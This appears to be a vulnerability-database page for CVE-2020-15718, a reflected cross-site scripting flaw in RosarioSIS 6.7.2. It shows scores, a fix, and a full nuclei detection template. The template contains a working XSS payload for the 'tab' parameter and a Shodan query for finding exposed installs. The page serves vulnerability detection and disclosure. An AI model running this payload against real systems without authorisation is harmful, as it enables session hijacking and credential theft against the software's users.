Browse / CVEs / CVE-2020-15718
CVE-2020-15718· rosariosis / rosariosis· CWE-79
RosarioSIS 6.7.2 - Cross-Site Scripting
mediumseverity
6.1CVSS score
6.3%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it
RosarioSIS version 6.7.2 and earlier contains a reflected cross-site scripting (XSS) vulnerability in the Preferences module. The 'tab' parameter in Modules.php is not properly sanitized, allowing an attacker to inject arbitrary JavaScript code via a crafted URL.
Impact
An attacker can execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, or other malicious actions.
Fix
Update RosarioSIS to the latest version where input validation has been improved.
How to confirm it
Send: GET {{BaseURL}}/Modules.php?modname=Users/Preferences.php&tab="%20onmouseover=alert(document.domain)%20x="
Positive when: contains "\" onmouseover=alert(document.domain)" and "RosarioSIS" AND contains in content_type "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2020-15718 -u <target>
The full check
id: CVE-2020-15718
info:
name: RosarioSIS 6.7.2 - Cross-Site Scripting
author: 0xr2r,jarvis-survives
severity: medium
description: |
RosarioSIS version 6.7.2 and earlier contains a reflected cross-site scripting (XSS) vulnerability in the Preferences module. The 'tab' parameter in Modules.php is not properly sanitized, allowing an attacker to inject arbitrary JavaScript code via a crafted URL.
impact: |
An attacker can execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, or other malicious actions.
remediation: |
Update RosarioSIS to the latest version where input validation has been improved.
reference:
- https://exchange.xforce.ibmcloud.com/vulnerabilities/184944
- https://github.com/MarkLee131/awesome-web-pocs/blob/main/CVE-2020-15718.md
- https://gitlab.com/francoisjacquet/rosariosis/-/blob/mobile/CHANGES.md
- https://gitlab.com/francoisjacquet/rosariosis/-/commit/89ae9de732024e3a2e99262aa98b400a1aa6975a
classification:
cve-id: CVE-2020-15718
cwe-id: CWE-79
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
epss-score: 0.06302
epss-percentile: 0.9366
cpe: cpe:2.3:a:rosariosis:rosariosis:6.7.2:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: http.html:"RosarioSIS"
product: rosariosis
vendor: rosariosis
tags: cve,cve2020,rosarios,xss,rosariosis,vuln
http:
- method: GET
path:
- '{{BaseURL}}/Modules.php?modname=Users/Preferences.php&tab="%20onmouseover=alert(document.domain)%20x="'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '" onmouseover=alert(document.domain)'
- 'RosarioSIS'
condition: and
case-insensitive: true
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200References
- https://exchange.xforce.ibmcloud.com/vulnerabilities/184944
- https://github.com/MarkLee131/awesome-web-pocs/blob/main/CVE-2020-15718.md
- https://gitlab.com/francoisjacquet/rosariosis/-/blob/mobile/CHANGES.md
- https://gitlab.com/francoisjacquet/rosariosis/-/commit/89ae9de732024e3a2e99262aa98b400a1aa6975a
Use this check only on systems you are authorised to test. Where the data comes from